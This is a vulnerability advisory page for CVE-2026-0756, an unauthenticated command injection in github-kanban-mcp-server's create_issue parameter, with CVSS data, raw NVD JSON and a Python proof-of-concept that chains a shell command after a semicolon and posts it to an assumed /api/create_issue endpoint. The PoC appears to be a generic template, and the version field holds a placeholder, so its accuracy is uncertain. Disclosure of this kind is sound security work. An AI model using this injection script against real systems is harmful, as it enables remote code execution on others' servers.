Security Vulnerability Report
中文
CVE-2026-0756 CVSS 9.8 CRITICAL

CVE-2026-0756

Published: 2026-01-23 04:16:02
Last Modified: 2026-04-15 00:35:42

Description

github-kanban-mcp-server execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of github-kanban-mcp-server. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the create_issue parameter. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27784.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

github-kanban-mcp-server < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-0756 PoC - Command Injection in github-kanban-mcp-server # Target: github-kanban-mcp-server create_issue parameter import requests import json import sys def exploit(target_url, command): """ Exploit CVE-2026-0756: Command Injection in create_issue parameter """ # Construct malicious payload with command injection # Using semicolon to chain commands payload = f"test;{command}" endpoint = f"{target_url}/api/create_issue" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-0756-PoC" } data = { "title": "Test Issue", "body": "Test body", "create_issue": payload # Vulnerable parameter } try: print(f"[*] Sending exploit payload to {endpoint}") print(f"[*] Injected command: {command}") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0756", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:02.157", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "github-kanban-mcp-server execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of github-kanban-mcp-server. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the create_issue parameter. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27784."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código execAsync en github-kanban-mcp-server. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de github-kanban-mcp-server. La autenticación no es requerida para explotar esta vulnerabilidad.\n\nLa falla específica existe en el manejo del parámetro create_issue. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-27784."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-022/", "source": "[email protected]"}]}}